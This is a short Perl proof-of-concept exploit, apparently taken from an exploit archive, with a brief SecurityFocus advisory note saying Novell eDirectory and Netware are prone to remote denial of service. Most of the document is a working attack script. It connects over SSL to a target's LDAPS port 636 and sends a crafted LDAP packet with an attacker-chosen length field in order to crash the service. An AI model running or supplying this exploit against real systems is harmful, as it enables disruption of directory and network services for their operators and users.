15 lines
No EOL
628 B
Perl
Executable file
15 lines
No EOL
628 B
Perl
Executable file
source: https://www.securityfocus.com/bid/47858/info
|
|
|
|
Novell eDirectory and Netware are prone to a denial-of-service vulnerability.
|
|
|
|
Remote attackers can exploit this issue to cause a system-wide denial-of-service.
|
|
|
|
#!/usr/bin/perl
|
|
# usage: ./novell.pl 10.0.0.1 0x41424344
|
|
use IO::Socket::SSL;
|
|
$socket = new IO::Socket::SSL(Proto=>"tcp",
|
|
PeerAddr=>$ARGV[0], PeerPort=>636);
|
|
die "unable to connect to $host:$port ($!)\n" unless $socket;
|
|
print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
|
|
"\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
|
|
close $socket; print "done\n"; |